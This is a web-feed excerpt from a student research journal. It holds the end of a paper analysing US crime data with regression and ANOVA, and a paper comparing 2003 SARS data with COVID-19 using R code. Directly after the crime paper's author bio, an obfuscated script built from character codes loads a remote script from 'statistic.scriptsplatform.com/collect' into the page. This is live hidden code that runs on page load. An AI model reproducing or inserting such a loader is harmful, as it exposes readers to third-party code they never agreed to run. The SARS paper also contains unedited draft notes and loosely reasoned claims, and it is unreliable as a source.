Model</em></figcaption></figure>



<p>ANOVA <br>Likelihood ratio test is performed on the 3 nested models, since the p value is greater than 0.05 as seen in the figure, we have to accept the null hypothesis which means there is not much difference between the models and the best fit is the first model (pol_exp * gdp * prob_imp * state_pop)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="307" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-1024x307.png" alt="" class="wp-image-2161" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-1024x307.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-300x90.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-768x231.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-920x276.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-230x69.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-350x105.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM-480x144.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.17.39-AM.png 1286w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 11 : Likelihood Ratio Test</em></figcaption></figure>



<h4 class="wp-block-heading">D. Model Validation</h4>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM.png" alt="" class="wp-image-2162" width="568" height="200" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM.png 966w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-300x106.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-768x272.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-920x326.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-230x81.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-350x124.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.16-AM-480x170.png 480w" sizes="(max-width: 568px) 100vw, 568px" /><figcaption><br><em>Figure 12 : Model Validation &#8211; Shapiro</em></figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="438" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-1024x438.png" alt="" class="wp-image-2163" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-1024x438.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-300x128.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-768x328.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-920x393.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-230x98.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-350x150.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM-480x205.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.18.46-AM.png 1362w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 13 : Best Fit Model – Residuals Plots</em></figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="411" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-1024x411.png" alt="" class="wp-image-2164" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-1024x411.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-300x121.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-768x309.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-920x370.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-230x92.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-350x141.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM-480x193.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.12-AM.png 1354w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 14 : Best Fit Model – Histogram Plots</em></figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="349" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-1024x349.png" alt="" class="wp-image-2165" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-1024x349.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-300x102.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-768x262.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-920x314.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-230x78.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-350x119.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM-480x164.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.19.28-AM.png 1354w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption><em>Figure 15 : Best Fit Model – Plots</em></figcaption></figure>



<p>So, from the Shapiro test we can see that p value is more than 0.05 and hence confirms the data is normally distributed.</p>



<h2 class="wp-block-heading"><strong>IV. Discussion</strong></h2>



<p>From the simple linear regression, multiple regression and ANOVA model, we can conclude that 4 factors which crime rate depends the most are police expenditure, GDP, State Population and probability of imprisonment.</p>



<p>Out of these 4 it depends on police expenditure the most followed by probability of imprisonment, which has a negative relation and then GDP followed by state population. From, the interrelation model, we can see how closely these 4 are interrelated and affect crime rate. As we can see the economic factors especially the police expenditure and the GDP which affected crime rate. Population factors also affected the crime rate as highly populated states experienced more crimes than the other states.</p>



<p>This was closely followed by putting fear into people’s mind by the probability of imprisonment playing a key role. It is an extremely surprising fact that crime rate is more influenced by the economic factors than unemployment.</p>



<p>Change in population in turn influences the gdp. The gdp of a state decides its expenditure on police. Despite the significant findings, there were several limitations to note in the study. The first limitation was the medium sample size.</p>



<h2 class="wp-block-heading"><strong>V. Conclusion</strong></h2>



<p>From the simple linear regression, multiple regression and ANOVA model, we can conclude that 4 factors which crime rate depends the most are police expenditure, GDP, state population, and probability of imprisonment. Out of these 4 it depends on police expenditure the most followed by probability of imprisonment, which has a negative relation and then GDP followed by state population. From, the interrelation model, we can see how closely these 4 are interrelated and affect crime rate. As we can see the economic factors especially the police expenditure and the GDP which affected crime rate. Population factors also affected the crime rate as highly populated states experienced more crimes than the other states. This was closely followed by putting fear into people’s mind by the probability of imprisonment playing a key role. It is an extremely surprising fact that crime rate is more influenced by the economic factors than unemployment.</p>



<p>Change in population in turn influences the gdp. The gdp of a state decides its expenditure on police.</p>



<p>The state must allocate funds towards police training, enforce strict law &amp; order and improves GDP by increasing Government spending, Export and Investment. This helps to bring down the crime rate.</p>



<h2 class="wp-block-heading"><strong>VI. Reference list</strong></h2>



<ol class="wp-block-list"><li>Venables, W. N. &amp; Ripley, B. D., Modern Applied Statistics with S, Fourth edition (2003)</li><li>Isaac Ehrlich, Participation in Illegitimate Activities: A Theoretical and Empirical Investigation (1973)</li><li>Geoffrey R Norman and David L Streiner, BIOSTATISTICS: The Bare Essentials, Third Edition (2008)</li><li>Adarsh S, GitHub Repository, https://github.com/AdarshS20/UScrimeDataAnalysis (2022)\</li></ol>



<p><strong>Acknowledgements</strong><br>I would like to take this opportunity to express my profound gratitude and deep regards to my mentor Dr. Hong Pan for his exemplary guidance, monitoring and constant encouragement for this research paper. I would also like to take this opportunity to express my gratitude to Ms. Danielle Voorhies for her cordial support and guidance. Lastly, I thank my parents and friends for their encouragement and support to complete this research paper.</p>



<hr style="margin: 70px 0;" class="wp-block-separator">



<div class="no_indent" style="text-align:center;">
<h4>About the author</h4>
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/adarsh.jpeg" alt="" class="wp-image-34" style="border-radius:100%;" width="150" height="150">
<h5>Adarsh Sasikumar</h5><p>Adarsh is a 12th Grader at Sri Kumaran Children&#8217;s Home of Educational Council, Bangalore, India. He discovered the subject of Mathematics at the age of 6 and it was love at first sight. As he grew up, he felt like he had encapsulated himself into the number, angles, variables, and equations. He is planning to pursue an undergraduate major in Mathematics and is interested in predictive analysis.</p></figure></div>



<p></p>
<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script><p>The post <a href="https://exploratiojournal.com/united-states-crime-data-analysis-using-modern-applied-statistics-methodologies%ef%bf%bc/">United States Crime Data Analysis Using Modern Applied Statistics Methodologies￼</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SARS Data Analysis</title>
		<link>https://exploratiojournal.com/sars-data-analysis/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sars-data-analysis</link>
		
		<dc:creator><![CDATA[Seoyeon Cho]]></dc:creator>
		<pubDate>Mon, 30 Aug 2021 03:57:20 +0000</pubDate>
				<category><![CDATA[Biology]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Statistics]]></category>
		<category><![CDATA[biology]]></category>
		<category><![CDATA[covid data]]></category>
		<category><![CDATA[COVID-19]]></category>
		<category><![CDATA[data analysis]]></category>
		<category><![CDATA[Science]]></category>
		<guid isPermaLink="false">https://www.exploratiojournal.com/?p=1134</guid>

					<description><![CDATA[<p>Seoyeon Cho</p>
<p>The post <a href="https://exploratiojournal.com/sars-data-analysis/">SARS Data Analysis</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-media-text is-stacked-on-mobile is-vertically-aligned-top" style="grid-template-columns:16% auto"><figure class="wp-block-media-text__media"><img decoding="async" width="200" height="200" src="https://www.exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png" alt="" class="wp-image-488 size-full" srcset="https://exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png 200w, https://exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1-150x150.png 150w" sizes="(max-width: 200px) 100vw, 200px" /></figure><div class="wp-block-media-text__content">
<p class="no_indent margin_none">Author: <em>Seoyeon Cho</em><strong><br></strong>February 9, 2021</p>
</div></div>



<h2 class="wp-block-heading">1. Introduction</h2>



<p>Since the beginning of 2020, the economies and social activities of global markets ground to a halt due to the rapid spread of the novel contagious disease caused by Coronavirus from Wuhan, China. Scientists named this virus as ”SARS CoV 2” and the disease it causes as ”Coronavirus Disease 2019” (COVID-19). SARS, also known as Severe Acute Respiratory Syndrome, is a disease that can be easily spread through surfaces and saliva. It was first identified in February 2003, and has reemerged since then. The World Health Organization (WHO) first declared the new outbreak as a public health emergency of international concern in January, 2020 but soon declared the crisis a pandemic as the virus spread exponentially in March, 2020. COVID 19 has now spread to more than 200 countries in the world and has caused 1.9 million deaths.</p>



<h2 class="wp-block-heading">2: R script</h2>



<p>This is an R chunk with no plots:</p>



<pre class="wp-block-code"><code>&gt;sarsdataset &lt;- read_csv("sars_2003_complete_dataset_clean.csv", + col_types = cols(Date = col_date(format = "%Y-%m-%d")))

&gt;#View(sarsdataset)

&gt;names(sarsdataset

&#91;1]	"Date"	"Country"
&#91;3]	"Cumulative number of case(s)" "Number of deaths"	
library(readr)
&#91;5] "Number recovered"

names(sarsdataset)&#91;3]&lt;-"CumNumber"

names(sarsdataset)&#91;4]&lt;-"Deaths"

names(sarsdataset)&#91;5]&lt;-"Recovered"

#install.packages("tidyverse")

library(tidyverse)

#install.packages("ggplot2")

library(ggplot2)

str(sarsdataset)
tibble &#91;2,538		5] (S3: spec_tbl_df/tbl_df/tbl/data.frame)
$ Date	:	Date&#91;1:2538], format: "2003-03-17" "2003-03-17" ...
$ Country	:	chr &#91;1:2538] "Germany" "Canada" "Singapore" "Hong Kong SAR, China" ...
$ CumNumber:		num &#91;1:2538] 1 8 20 95 2 1 40 2 8 0 ...
$ Deaths	:	num &#91;1:2538] 0 2 0 1 0 0 1 0 2 0 ...
$ Recovered:		num &#91;1:2538] 0 0 0 0 0 0 0 0 0 0 ...
- attr(*, "spec")=

.. cols(

..   Date = col_date(format = "%Y-%m-%d"),

..   Country = col_character(),

..Cumulative number of case(s)  = col_double(),

..Number of deaths  = col_double(),

..Number recovered  = col_double()

.. )

<meta charset="utf-8">&gt;sarsdataset$Country &lt;- as.factor(sarsdataset$Country)

# Explore data for individual country

&gt;

<meta charset="utf-8">&gt;list_Country&lt;-levels(sarsdataset$Country)

<meta charset="utf-8">&gt;sarsdataset$Country &lt;- as.factor(sarsdataset$Country)

<meta charset="utf-8">&gt;rev(sort(table(sarsdataset$Country)))&#91;1:5]
Thailand	Singapore Hong Kong SAR, China	
96	96	96
Germany	China	
96	96	
&gt;Country0&lt;-list_Country&#91;11]
&gt;countryindexes&lt;-c(6,11,27)
&gt;countryindexes&lt;-c(1:length(list_Country))
&gt;list_Country&#91;countryindexes]
&#91;1]	"Australia"	"Belgium"	"Brazil"
&#91;4]	"Bulgaria"	"Canada"	"China"
&#91;7]	"Colombia"	"Finland"	"France"
&#91;10]	"Germany"	"Hong Kong SAR, China" "India"	
&#91;13]	"Indonesia"	"Italy"	"Japan"
&#91;16]	"Kuwait"	"Macao SAR, China"	"Malaysia"
&#91;19]	"Mongolia"	"New Zealand"	"Philippines"
&#91;22]	"Poland"	"Republic of Ireland"	"Republic of Korea"
&#91;25]	"Romania"	"Russian Federation"	"Singapore"
&#91;28]	"Slovenia"	"South Africa"	"Spain"
&#91;31]	"Sweden"	"Switzerland"	"Taiwan, China"
&#91;34]	"Thailand"	"United Kingdom"	"United States"
&#91;37]	"Viet Nam"		</code></pre>



<p>With Sweave files, there is only one figure per chunk</p>



<pre class="wp-block-code"><code>countryindexes&lt;- c(6)

for (j in countryindexes){

+   Country0&lt;- list_Country&#91;j]

+ sarsdataset0&lt;- sarsdataset&#91; sarsdataset$Country== Country0,] + #print(sarsdataset0)

+ #ggplot(data=sarsdataset0, aes(x=Date, y=CumNumber)+ geom_line()

+

+ par(mfcol=c(2,2))

+ plot(sarsdataset0$Date, sarsdataset0$CumNumber, type="l",

main=Country0,

xlab="Date",

ylab="Cumulative Number of Cases")


plot(sarsdataset0$Date, sarsdataset0$Deaths, type="l",

main=Country0,

xlab="Date",

ylab="Deaths")

+

plot(sarsdataset0$Date, sarsdataset0$Recovered, type="l",

main=Country0,

xlab="Date",

ylab="Recovered")

+

plot(sarsdataset0$Date, sarsdataset0$Deaths/sarsdataset0$CumNumber,type="l",

main=Country0,

xlab="Date",
ylab="Death Rate")

}</code></pre>



<p></p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-1024x966.png" alt="" class="wp-image-1136" width="496" height="467" srcset="https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-1024x966.png 1024w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-300x283.png 300w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-768x724.png 768w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-920x868.png 920w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-230x217.png 230w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-350x330.png 350w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM-480x453.png 480w, https://exploratiojournal.com/wp-content/uploads/2021/09/Screen-Shot-2021-09-30-at-11.44.39-AM.png 1090w" sizes="(max-width: 496px) 100vw, 496px" /></figure>



<h2 class="wp-block-heading">3. From Google Docs</h2>



<h4 class="wp-block-heading">Background information </h4>



<p>The purpose of this research paper is to critically understand the past situation of the SARS outbreak in 2003 with the objective of projecting the near future conditions of the COVID 19 crisis. This effort com-pares and contrasts quantitative information available from the two crises. It now has been almost a year since the outbreak started with significant impacts on human beings all over the world but to date, there have been no significant improvements or comprehensive solutions in countries of the world. The critical, analytical understanding of the SARS outbreak presented in this paper, improves the potential to better predict possible outcomes of the COVID 19.</p>



<h2 class="wp-block-heading">4. Research Topic</h2>



<h4 class="wp-block-heading">4.1 Issues</h4>



<p>Contrasting each country and analyze the SARS impact * examining the progression of disease in each country Interesting points that may arise: * Death rates may be higher in lower income countries * World Health Organization classifies countries by geography and by income level; perhaps there are patterns in expo-sure levels and death rates * When comparing progression of disease by country, accounting for different population sizes of the countries (focus on percentage increases/changes) and possibly residential density of countries. * Degree of government control on quarantines and isolation of active cases.</p>



<h4 class="wp-block-heading">4.2 Connection between the covid and SARS</h4>



<ul class="wp-block-list"><li>Countries that experienced SARS were possibly better prepared to deal with COVID-19 (e.g., testing protocols and other .)</li></ul>



<p><meta charset="utf-8">SARS &#8211; data, analysis (organized discussion with logical flow) (list the actual number on the data)</p>



<h2 class="wp-block-heading">5. Plots from GGPlot</h2>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2021/09/image-1.png" alt="" class="wp-image-1137" width="436" height="415" srcset="https://exploratiojournal.com/wp-content/uploads/2021/09/image-1.png 868w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-1-300x285.png 300w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-1-768x731.png 768w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-1-230x219.png 230w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-1-350x333.png 350w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-1-480x457.png 480w" sizes="(max-width: 436px) 100vw, 436px" /></figure>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2021/09/image-2.png" alt="" class="wp-image-1138" width="434" height="426" srcset="https://exploratiojournal.com/wp-content/uploads/2021/09/image-2.png 836w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-2-300x294.png 300w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-2-768x753.png 768w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-2-230x226.png 230w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-2-350x343.png 350w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-2-480x471.png 480w" sizes="(max-width: 434px) 100vw, 434px" /></figure>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://www.exploratiojournal.com/wp-content/uploads/2021/09/image-3.png" alt="" class="wp-image-1139" width="428" height="427" srcset="https://exploratiojournal.com/wp-content/uploads/2021/09/image-3.png 846w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-300x300.png 300w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-150x150.png 150w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-768x766.png 768w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-230x229.png 230w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-350x349.png 350w, https://exploratiojournal.com/wp-content/uploads/2021/09/image-3-480x479.png 480w" sizes="(max-width: 428px) 100vw, 428px" /></figure>



<h2 class="wp-block-heading">6. Analysis</h2>



<p>The similarities between the countries that had most death rates.</p>



<p>This graph indicates the death rates of different countries along the time due to the impact of SARS outbreak back in 2003. One can easily notice the highest deaths has been recorded by China, second by Hong Kong, third by Taiwan, and fourth by Canada.</p>



<p>One can also notice that these four countries can be grouped into two parts , where one has recorded relatively significant number of deaths and another with less significant death rate. China and Hong Kong can be grouped as ”most death rate” group whereas Taiwan and Canada can be grouped as ”non-significant death rate” group. This separation could have been done easily because of the distinct difference in the number of deaths.</p>



<p>The very distinct similarities that ”most death rate” group shared was the exponential growth of number of death from April to late May. The green and blue graphs showed almost an identical exponential growth during that time span and slowly stopped increasing and remained almost constant from June to July with constant death rate of 380 and 300 for China and Hong Kong respectively.</p>



<p>Other than the information from given graph, one can also assume that the ”most death rate” group were similar in a sense that they were both sharing / touching the border of China. This may be very obvious and does not seem like an important fact but can’t be ignored as both SARS and COVID-19 were emerged in China and spread to other countries rapidly. (Add another graph with percentage deaths (death rate) as a percent of cases to compare countries)</p>



<p>The similarities between the countries that did not have many cases From the figure 1, one can also notice the similarities between the countries that did not have such high death cases; Taiwan and Canada. It is that compared to ”most death rate” group, the increase of the death case of these two countries was not very exponential but quite steady. Canada showed very linear increase of death cases along time and Taiwan with small exponential growth during May but not as significant as that of China or Hong Kong.</p>



<p>The another distinct similarity that one can know is that these two countries, Canada and Taiwan, are not touching China’s national border directly. There may be a lot of Chinese immigrants in Taiwan and Canada but they both are not directly touching China in terms of country’s borer line.</p>



<h2 class="wp-block-heading">7. Worst Experienced Country</h2>



<p>In order to pin down which country experienced the worst outbreak, one has to define ”worst experience” first. This is important because one could think the country with most death cases had the worst experience whereas another can argue that the worst experience should be based on the percentage of number of death per national population. In this report, the ”worst experience” will be based on the total number of SARS case. This is because the absolute amount of people who suffered from this disease matters more than the numbers of death rate or the number of deaths. According to figure 2, it is clear that China had the highest cumulated number of SARS case among 4 countries with overwhelming 4800 cases, almost the double of Hong Kong’s SARS case</p>



<h2 class="wp-block-heading">8. Worst Impacted Country Among Top Rated Countries</h2>



<p>Just like how ”worst experienced” was defined in the past paragraph, ”impact” will be defined as how much of a shock SARS brought to a country. In other words, ”impact” will be measured based on the percentage of death per the nation’s population.</p>



<p>Taiwan: 24 mil Canada: 38 mil Hong Kong: 7.5 mil China: 1.4 bil</p>



<p>Even without the detail calculation, one can see that the death / nation pop-ulation is the highest for Hong Kong as it has the smallest number of population but almost the same number of death cases according to figure 1. Therefore, one can argue that Hong Kong had the worst impact among the four given countries.</p>



<h2 class="wp-block-heading">9. Seriousness of SARS Crisis</h2>



<p>Unlike other diseases like cancer or heart disease, the problem with SARS was the fact that this disease was so contagious. This is important because person with cancer or heart disease can live their normal life even after recognizing they have those diseases. However, in case of SARS, the other people who do not carry the disease cannot function properly because of the fear that this unseeable virus might be traveling as an aerosol in mid air and infect them. This fear cannot be sorely explained or quantified with graphs and numbers on figures. Which also explains why the numbers and the figures can not properly explain the seriousness of SARS. SARS did not only kill people but killed the economics of not only these four countries but the many other countries who were closely related to China. Obviously, the death of many people is a deep pain that can not be forgotten but the economic damage that SARS caused was very significant.</p>



<p>From figure 3, one can distinguish the differences and similarities between four countries.</p>



<p>First of all, Canada showed a very distinctive characteristic that other 3 countries never shown. During the late February, the deaths/cumnumber of Canada spiked all the way up to 0.3 but it soon died to 0.1 and slowly increased and remained constant at about 0.15. This kind of instant spike, decrease and remaining of the rate has not been shown in any other countries. The other two countries, Hong Kong, and Taiwan, never shown an instant spike like Canada did but rather slower exponential increases. However China has shown a very different rate graph as well. China was the only country that had linear increase among 4 countries in figure 3.</p>



<p>For the death rates why does death rates stop dramatical increases during June?</p>



<p>From the figure 1, one can see that the exponential growth of death rate for China and Hong Kong has been remained until early June but the growth has significantly died from June. A lot of reasons could be the answer to this dra-matic ease of SARS such as the change of weather, countless efforts of scientists, researchers, and doctors to stop the disease. As all four countries’ death rate has decreased dramatically as time went by, one could assume that the obvious change of weather (from winter to summer) along time has helped the human population to stop the contagious disease, SARS. Another reason for a sudden ease of exponential growth of SARS would be the fact that all four countries’ governments were well aware of the situation with the help of WHO and well managed to stop the spread of virus.</p>



<p>There could be multiple reasons for a stop of dramatical increase during June. One is the change of weather from winter to summer and the increased temperature. Another is the cumulated effort of human beings to stop the virus with research for cures and governments’ desperate effort to stop people from going out.</p>



<p>The country that had most severe crisis and what happened to their country Among these four countries, Hong Kong had the most severe crisis with the highest percentage of both death and cumulated case number per nation’s pop-ulation. The death rate of SARS case in Hong Kong were usually around 20% but it went up close to 55% among elders.</p>



<p>Because other normal respiratory diseases’ death rate were about 1% back then, the SARS did not seem to be a significant issue at the beginning of the outbreak. However, the death rate was significantly high specifically in Hong Kong since they were most vulnerable to the disease as they had the highest portion of elders among the four given countries in the data. This was a very significant fact that changed the SARS’ outcome back in 2003. Furthermore, Hong Kong was not very well prepared for these kind of outbreaks as they have one of the highest population density in the world which meant Hong Kong was the best possible option for SARS outbreak to exponentially damage the country and the economics of it.</p>



<p>Due to SARS outbreak in 2003, Hong Kong’s tourism industry had to face the worst period so far. As you could imagine, with this outbreak ongoing in Hong Kong, no one in other countries would have voluntarily wanted to visit and explore Hong Kong because of the SARS. According to Paul Chan Mo Po, finance minister of Hong Kong in 2003, the number of foreign visitors decreased to 40% compared to that of 2002. This kind of economic impact did not only hurt the tourism industry but the local and international economics of Hong Kong as well. This damage was more severe for Hong Kong since they had such a dense country compared to others like Canada or China in terms of both landscape and population density. It completely frozen the economics and the country and took years of effort for Hong Kong and their people to recover from SARS.</p>



<h2 class="wp-block-heading">10. Prediction</h2>



<p>Compare the conclusion of sars and the current cove pandemic SARS could have been completely controlled within only 6 months of time with international effort back in 2003 but the current ongoing COVID 19 pandemic already has surpassed 12 months of time and does not seem to end in the near future. This could be explained with the fact that back in 2003, the world was not as connective as it is now. For instance, traveling was treated as a huge privilege back in 2003 and was not a very common. However, as the world started to globalize exponentially, traveling was not a big privilege for mange people and became common for everyone in 2021. One can believe that the significant reason why SARS could have ended much faster, only in 6 months, compared to COVID was because it was not as globalized back in 2003 as it is now in 2021.</p>



<p>SARS ended only in 6 months and only caused 774 deaths but the current COVID already has killed more than 1.9 million people internationally all over the world. It is very distinct that the SARS was only spread to few countries whereas COVID has been spread to more than 200 countries. This may be the reason why COVID is not concluding like how SARS has concluded, the exponent globalization of the world.</p>



<h2 class="wp-block-heading">11. Comparison Between SARS and COVID 19</h2>



<p>SARS and COVID 19 share the very same virus called coronavirus which is very contagious and causes respiratory diseases. These two also are very similar in a sense that these diseases are much more dangerous for elders or one with existing diseases like obesity, cancer or respiratory disease than others.</p>



<p>It is also similar how the outbreak originated from China and spread to other close countries. As Hong Kong is literally next to China and easy to travel, the virus was able to spread in Hong Kong rapidly just like how COVID19 had spread in Hon Kong as one of the earliest countries in the first several months of the outbreak.</p>



<h2 class="wp-block-heading">12. Conclusion</h2>



